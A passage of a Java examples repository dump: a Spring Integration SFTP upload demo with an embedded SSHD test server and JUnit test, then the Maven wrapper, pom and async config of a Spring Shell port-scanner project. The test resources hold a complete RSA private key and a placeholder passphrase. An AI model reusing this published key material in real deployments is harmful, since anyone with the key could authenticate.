new SftpMessageHandler(sftpSessionFactory()); 67 | handler.setRemoteDirectoryExpression(new LiteralExpression(sftpRemoteDirectory)); 68 | handler.setFileNameGenerator(new FileNameGenerator() { 69 | 70 | @Override 71 | public String generateFileName(Message message) { 72 | if (message.getPayload() instanceof File) { 73 | return ((File) message.getPayload()).getName(); 74 | } else { 75 | throw new IllegalArgumentException("File expected as payload."); 76 | } 77 | } 78 | 79 | }); 80 | return handler; 81 | } 82 | 83 | @MessagingGateway 84 | public interface UploadGateway { 85 | 86 | @Gateway(requestChannel = "toSftpChannel") 87 | void upload(File file); 88 | 89 | } 90 | 91 | } 92 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/src/main/java/com/pavelsklenar/SpringSftpUploadDemoApplication.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.integration.annotation.IntegrationComponentScan; 6 | import org.springframework.integration.config.EnableIntegration; 7 | 8 | @SpringBootApplication 9 | @IntegrationComponentScan 10 | @EnableIntegration 11 | public class SpringSftpUploadDemoApplication { 12 | 13 | public static void main(String[] args) { 14 | SpringApplication.run(SpringSftpUploadDemoApplication.class, args); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | sftp.host=127.0.0.1 2 | sftp.user=test 3 | sftp.privateKey=classpath:keys/sftp_rsa 4 | sftp.privateKeyPassphrase=passphrase 5 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/src/test/java/com/pavelsklenar/EmbeddedSftpServer.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar; 2 | 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.math.BigInteger; 6 | import java.nio.ByteBuffer; 7 | import java.nio.file.Files; 8 | import java.nio.file.Path; 9 | import java.security.KeyFactory; 10 | import java.security.PublicKey; 11 | import java.security.spec.RSAPublicKeySpec; 12 | import java.util.Collections; 13 | 14 | import org.apache.commons.codec.binary.Base64; 15 | import org.apache.sshd.common.NamedFactory; 16 | import org.apache.sshd.common.file.virtualfs.VirtualFileSystemFactory; 17 | import org.apache.sshd.server.Command; 18 | import org.apache.sshd.server.SshServer; 19 | import org.apache.sshd.server.auth.pubkey.PublickeyAuthenticator; 20 | import org.apache.sshd.server.keyprovider.SimpleGeneratorHostKeyProvider; 21 | import org.apache.sshd.server.scp.ScpCommandFactory; 22 | import org.apache.sshd.server.session.ServerSession; 23 | import org.apache.sshd.server.subsystem.sftp.SftpSubsystemFactory; 24 | import org.springframework.beans.factory.InitializingBean; 25 | import org.springframework.context.SmartLifecycle; 26 | import org.springframework.core.io.ClassPathResource; 27 | import org.springframework.util.SocketUtils; 28 | import org.springframework.util.StreamUtils; 29 | 30 | /** 31 | * SFTP server for integration testing 32 | * @author Artem Bilan 33 | * @author pavel.sklenar 34 | */ 35 | public class EmbeddedSftpServer implements InitializingBean, SmartLifecycle { 36 | 37 | public static final int PORT = SocketUtils.findAvailableTcpPort(); 38 | 39 | private final SshServer server = SshServer.setUpDefaultServer(); 40 | 41 | private volatile int port; 42 | 43 | private volatile boolean running; 44 | 45 | public void setPort(int port) { 46 | this.port = port; 47 | } 48 | 49 | @Override 50 | public void afterPropertiesSet() throws Exception { 51 | final PublicKey allowedKey = decodePublicKey(); 52 | this.server.setPublickeyAuthenticator(new PublickeyAuthenticator() { 53 | 54 | @Override 55 | public boolean authenticate(String username, PublicKey key, ServerSession session) { 56 | return key.equals(allowedKey); 57 | } 58 | 59 | }); 60 | this.server.setPort(this.port); 61 | this.server.setKeyPairProvider(new SimpleGeneratorHostKeyProvider(Files.createTempFile("host_file", ".ser"))); 62 | this.server.setSubsystemFactories(Collections.>singletonList(new SftpSubsystemFactory())); 63 | server.setFileSystemFactory(new VirtualFileSystemFactory(Files.createTempDirectory("SFTP_TEMP"))); 64 | server.setCommandFactory(new ScpCommandFactory()); 65 | } 66 | 67 | public void setHomeFolder(Path path) { 68 | server.setFileSystemFactory(new VirtualFileSystemFactory(path)); 69 | } 70 | 71 | 72 | private PublicKey decodePublicKey() throws Exception { 73 | InputStream stream = new ClassPathResource("/keys/sftp_rsa.pub").getInputStream(); 74 | byte[] decodeBuffer = Base64.decodeBase64(StreamUtils.copyToByteArray(stream)); 75 | ByteBuffer bb = ByteBuffer.wrap(decodeBuffer); 76 | int len = bb.getInt(); 77 | byte[] type = new byte[len]; 78 | bb.get(type); 79 | if ("ssh-rsa".equals(new String(type))) { 80 | BigInteger e = decodeBigInt(bb); 81 | BigInteger m = decodeBigInt(bb); 82 | RSAPublicKeySpec spec = new RSAPublicKeySpec(m, e); 83 | return KeyFactory.getInstance("RSA").generatePublic(spec); 84 | 85 | } 86 | else { 87 | throw new IllegalArgumentException("Only supports RSA"); 88 | } 89 | } 90 | 91 | private BigInteger decodeBigInt(ByteBuffer bb) { 92 | int len = bb.getInt(); 93 | byte[] bytes = new byte[len]; 94 | bb.get(bytes); 95 | return new BigInteger(bytes); 96 | } 97 | 98 | @Override 99 | public boolean isAutoStartup() { 100 | return PORT == this.port; 101 | } 102 | 103 | @Override 104 | public int getPhase() { 105 | return Integer.MAX_VALUE; 106 | } 107 | 108 | @Override 109 | public void start() { 110 | try { 111 | server.start(); 112 | this.running = true; 113 | } 114 | catch (IOException e) { 115 | throw new IllegalStateException(e); 116 | } 117 | } 118 | 119 | @Override 120 | public void stop(Runnable callback) { 121 | stop(); 122 | callback.run(); 123 | } 124 | 125 | @Override 126 | public void stop() { 127 | if (this.running) { 128 | try { 129 | server.stop(false); 130 | } 131 | catch (IOException e) { 132 | throw new IllegalStateException(e); 133 | } 134 | finally { 135 | this.running = false; 136 | } 137 | } 138 | } 139 | 140 | @Override 141 | public boolean isRunning() { 142 | return this.running; 143 | } 144 | 145 | public SshServer getServer() { 146 | return server; 147 | } 148 | 149 | } 150 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/src/test/java/com/pavelsklenar/SpringSftpUploadDemoApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar; 2 | 3 | import static org.junit.Assert.assertEquals; 4 | 5 | import java.io.File; 6 | import java.io.IOException; 7 | import java.nio.file.Files; 8 | import java.nio.file.Path; 9 | import java.util.List; 10 | import java.util.stream.Collectors; 11 | 12 | import org.junit.After; 13 | import org.junit.AfterClass; 14 | import org.junit.Before; 15 | import org.junit.BeforeClass; 16 | import org.junit.Test; 17 | import org.junit.runner.RunWith; 18 | import org.springframework.beans.factory.annotation.Autowired; 19 | import org.springframework.boot.test.context.SpringBootTest; 20 | import org.springframework.test.context.TestPropertySource; 21 | import org.springframework.test.context.junit4.SpringRunner; 22 | 23 | import com.pavelsklenar.SftpConfig.UploadGateway; 24 | 25 | @RunWith(SpringRunner.class) 26 | @SpringBootTest 27 | @TestPropertySource(properties = { "sftp.port = 10022" }) 28 | public class SpringSftpUploadDemoApplicationTests { 29 | 30 | @Autowired 31 | private UploadGateway gateway; 32 | 33 | private static EmbeddedSftpServer server; 34 | 35 | private static Path sftpFolder; 36 | 37 | @BeforeClass 38 | public static void startServer() throws Exception { 39 | server = new EmbeddedSftpServer(); 40 | server.setPort(10022); 41 | sftpFolder = Files.createTempDirectory("SFTP_UPLOAD_TEST"); 42 | server.afterPropertiesSet(); 43 | server.setHomeFolder(sftpFolder); 44 | // Starting SFTP 45 | if (!server.isRunning()) { 46 | server.start(); 47 | } 48 | } 49 | 50 | @Before 51 | @After 52 | public void cleanSftpFolder() throws IOException { 53 | Files.walk(sftpFolder).filter(Files::isRegularFile).map(Path::toFile).forEach(File::delete); 54 | } 55 | 56 | @Test 57 | public void testUpload() throws IOException { 58 | // Prepare phase 59 | Path tempFile = Files.createTempFile("UPLOAD_TEST", ".csv"); 60 | 61 | // Prerequisites 62 | assertEquals(0, Files.list(sftpFolder).count()); 63 | 64 | // test phase 65 | gateway.upload(tempFile.toFile()); 66 | 67 | // Validation phase 68 | List paths = Files.list(sftpFolder).collect(Collectors.toList()); 69 | assertEquals(1, paths.size()); 70 | assertEquals(tempFile.getFileName(), paths.get(0).getFileName()); 71 | } 72 | 73 | @AfterClass 74 | public static void stopServer() { 75 | if (server.isRunning()) { 76 | server.stop(); 77 | } 78 | } 79 | 80 | } 81 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/src/test/resources/keys/sftp_rsa: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpQIBAAKCAQEAzEAf70wmOkBBfvz+92UGc4I+SwVBvICj2wF3VnBP19IN44LD 3 | 6cW+/jRoqjaT/qFSELC/UO0wbL9f1+8XOrHekpjP1Ez/CxdM5X9BkrxHoQtgU/fB 4 | gog6iPASqWYxujvPqTxAWPDOYhji7Q1Es5Yc8le5D3AA2Cx5f89X7LFPsdlDC+wa 5 | EpoIdFz3Nrvhr+vufElZNoqQGTpmlmQ8s1gHN7HM8/w5EHkf3KY9OOx1XNWW/zOW 6 | uGo2CNfCmvplYSnokJx3NzSsBOmcXMJWnG1Sv33sqX6Xqx0DpY+hHun+oboZ1cfc 7 | eNlddQONU6IffFiNhFQ3qruBHE8RxyZ7SYaW3QIDAQABAoIBAQCclFgm+eigZVwQ 8 | fuDzRTZR3Lnmhywi1zdGEHStBkKfP/+3typ7j0Xg2MqYGmkQHhmsg+LWpk6mP3u5 9 | LShQrcTj+1Pv++rVVNJ1aT4awE3lLrR1Co0FhWviSLD1vktG6s1CftcRl+GPoGZu 10 | tepCBkVAn3FWXVW4YzftfEV6RV/EBVzZLySXeaQyKl8ln3yEBpOPkevy8uLC20O9 11 | OKDGa30gEP215Kvx1rkvs6jXeMdeH+reEfvyYD8+SMcE60lyY8ntwKhrd/OiZP48 12 | Fqp4kVEBf/u5DSeQbABLCW2uteHAMFzm/weOHDIIBm2aQzmrokw8IYuYiAyTpnDd 13 | yqlJN+99AoGBAOegXlfK/6aVxpeygRatSRD+JI9p/7Hi9ShQ/VCANyc1RTKvDHIA 14 | j5On1Hnwm1czFMr3CPs78MQa8uDlZEa19HbUAEgSp9X6nIPYi5Fo0Q3Fyp1O122S 15 | QAA0mthGiEsneWMgRDordHgGFVoWcDbTWCH61bkisNufK90b/90TXVoPAoGBAOG+ 16 | SyW5aJTGHw01vHyNnnMWyloNMwd55vGp7Zhb7m1qUIci8WixJ3Jr1exLhhnc8Bpl 17 | DU2sA4x2r6c1yozNozAw/KkLoa0JFISUg8eqprO0kMg6W9SP57xW2ooUMwEOJbkC 18 | pjlgVcw3AXPfBZwCmujNG0wxc5TVVulgjQk0y1xTAoGBAK9RdjdTYp/vfAq0RPsq 19 | HETtaDTZEX3OgKuMacA13AkkTAUp8+ySOhqUDMJjeODOvC1IQJcQ7pMwpqfNWVIg 20 | RTJwEup6nGjdMPymujVMtfeLv2nEFFFOQn0lVBLhiCYCceGyuZGh9J0oVZ8DntoQ 21 | rAPEPWLNPDpvxx6sI8Vs89rHAoGATLypQuuh92DZ0V3A8v4ZLLpEkxQFkrcHoILJ 22 | N4+Yny0Srr1cHuCJrkWl9Ks/rK8EF5TeTtb4Zdk6oLaSYgbNQGaGnNhNX0rE5MSv 23 | f0ItZM0uokHkUX+RoN5Nb76qD+PFQvz5kGuE/uR74+2eNIhWLGj8rIvq5F8ZKkAd 24 | 8VE3B+0CgYEAnrh436/L4s9RI9kbKfd99PEl87DFOYB3/v4g4n4Xoi9843dYDjgX 25 | bl1JLbD2jv5HYMs55sHK9Rz/aWiTTDCoONkHL5b84ZDrPJnKzzzwMAND4RivJBYK 26 | ORr+P2OrWEIt57CvLxTYB2RjHQdJ7+r8fxjyRGkkkxJScdsDhCBYisk= 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /spring-sftp-upload-demo/src/test/resources/keys/sftp_rsa.pub: -------------------------------------------------------------------------------- 1 | AAAAB3NzaC1yc2EAAAADAQABAAABAQDMQB/vTCY6QEF+/P73ZQZzgj5LBUG8gKPbAXdWcE/X0g3jgsPpxb7+NGiqNpP+oVIQsL9Q7TBsv1/X7xc6sd6SmM/UTP8LF0zlf0GSvEehC2BT98GCiDqI8BKpZjG6O8+pPEBY8M5iGOLtDUSzlhzyV7kPcADYLHl/z1fssU+x2UML7BoSmgh0XPc2u+Gv6+58SVk2ipAZOmaWZDyzWAc3sczz/DkQeR/cpj047HVc1Zb/M5a4ajYI18Ka+mVhKeiQnHc3NKwE6ZxcwlacbVK/feypfperHQOlj6Ee6f6huhnVx9x42V11A41Toh98WI2EVDequ4EcTxHHJntJhpbd 2 | -------------------------------------------------------------------------------- /spring-shell-port-scanner/.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | .sts4-cache 12 | 13 | ### IntelliJ IDEA ### 14 | .idea 15 | *.iws 16 | *.iml 17 | *.ipr 18 | 19 | ### NetBeans ### 20 | /nbproject/private/ 21 | /build/ 22 | /nbbuild/ 23 | /dist/ 24 | /nbdist/ 25 | /.nb-gradle/ -------------------------------------------------------------------------------- /spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /spring-shell-port-scanner/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip 2 | -------------------------------------------------------------------------------- /spring-shell-port-scanner/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Migwn, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 204 | echo $MAVEN_PROJECTBASEDIR 205 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 206 | 207 | # For Cygwin, switch paths to Windows format before running java 208 | if $cygwin; then 209 | [ -n "$M2_HOME" ] && 210 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 211 | [ -n "$JAVA_HOME" ] && 212 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 213 | [ -n "$CLASSPATH" ] && 214 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 215 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 216 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 217 | fi 218 | 219 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 220 | 221 | exec "$JAVACMD" \ 222 | $MAVEN_OPTS \ 223 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 224 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 225 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 226 | -------------------------------------------------------------------------------- /spring-shell-port-scanner/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 39 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 40 | 41 | @REM set %HOME% to equivalent of $HOME 42 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 43 | 44 | @REM Execute a user defined script before this one 45 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 46 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 47 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 48 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 49 | :skipRcPre 50 | 51 | @setlocal 52 | 53 | set ERROR_CODE=0 54 | 55 | @REM To isolate internal variables from possible post scripts, we use another setlocal 56 | @setlocal 57 | 58 | @REM ==== START VALIDATION ==== 59 | if not "%JAVA_HOME%" == "" goto OkJHome 60 | 61 | echo. 62 | echo Error: JAVA_HOME not found in your environment. >&2 63 | echo Please set the JAVA_HOME variable in your environment to match the >&2 64 | echo location of your Java installation. >&2 65 | echo. 66 | goto error 67 | 68 | :OkJHome 69 | if exist "%JAVA_HOME%\bin\java.exe" goto init 70 | 71 | echo. 72 | echo Error: JAVA_HOME is set to an invalid directory. >&2 73 | echo JAVA_HOME = "%JAVA_HOME%" >&2 74 | echo Please set the JAVA_HOME variable in your environment to match the >&2 75 | echo location of your Java installation. >&2 76 | echo. 77 | goto error 78 | 79 | @REM ==== END VALIDATION ==== 80 | 81 | :init 82 | 83 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 84 | @REM Fallback to current working directory if not found. 85 | 86 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 87 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 88 | 89 | set EXEC_DIR=%CD% 90 | set WDIR=%EXEC_DIR% 91 | :findBaseDir 92 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 93 | cd .. 94 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 95 | set WDIR=%CD% 96 | goto findBaseDir 97 | 98 | :baseDirFound 99 | set MAVEN_PROJECTBASEDIR=%WDIR% 100 | cd "%EXEC_DIR%" 101 | goto endDetectBaseDir 102 | 103 | :baseDirNotFound 104 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 105 | cd "%EXEC_DIR%" 106 | 107 | :endDetectBaseDir 108 | 109 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 110 | 111 | @setlocal EnableExtensions EnableDelayedExpansion 112 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 113 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 114 | 115 | :endReadAdditionalConfig 116 | 117 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 118 | 119 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 120 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 121 | 122 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 123 | if ERRORLEVEL 1 goto error 124 | goto end 125 | 126 | :error 127 | set ERROR_CODE=1 128 | 129 | :end 130 | @endlocal & set ERROR_CODE=%ERROR_CODE% 131 | 132 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 133 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 134 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 135 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 136 | :skipRcPost 137 | 138 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 139 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 140 | 141 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 142 | 143 | exit /B %ERROR_CODE% 144 | -------------------------------------------------------------------------------- /spring-shell-port-scanner/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | com.pavelsklenar 7 | port-scanner 8 | 0.0.1-SNAPSHOT 9 | jar 10 | 11 | port-scanner 12 | Demo project for port scanner 13 | 14 | 15 | org.springframework.boot 16 | spring-boot-starter-parent 17 | 2.0.5.RELEASE 18 | 19 | 20 | 21 | 22 | UTF-8 23 | UTF-8 24 | 1.8 25 | 26 | 27 | 28 | 29 | org.springframework.shell 30 | spring-shell-starter 31 | 2.0.1.RELEASE 32 | 33 | 34 | 35 | org.springframework.boot 36 | spring-boot-starter-test 37 | test 38 | 39 | 40 | 41 | 42 | 43 | 44 | org.springframework.boot 45 | spring-boot-maven-plugin 46 | 47 | 48 | 49 | 50 | 51 | 52 | spring-milestones 53 | Spring Milestones 54 | https://repo.spring.io/milestone 55 | 56 | false 57 | 58 | 59 | 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /spring-shell-port-scanner/src/main/java/com/pavelsklenar/portscanner/AsyncConfig.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.portscanner; 2 | 3 | import java.util.concurrent.Executor; 4 | import java.util.concurrent.Executors; 5 | 6 | import org.springframework.beans.factory.annotation.Value; 7 | import org.springframework.context.annotation.Configuration; 8 | import org.springframework.scheduling.annotation.AsyncConfigurer; 9 | import org.springframework.scheduling.annotation.EnableAsync; 10 | 11 | @Configuration 12 | @EnableAsync 13 | public class AsyncConfig implements AsyncConfigurer { 14 | 15 | @Value("${threads.count:20}") 16 | private int threadsCount; 17 | 18 | @Override 19 | public Executor getAsyncExecutor() { 20 | return Executors.newFixedThreadPool(threadsCount); 21 | } 22 | 23 | } 24 | -------------------------------------------------------------------------------- 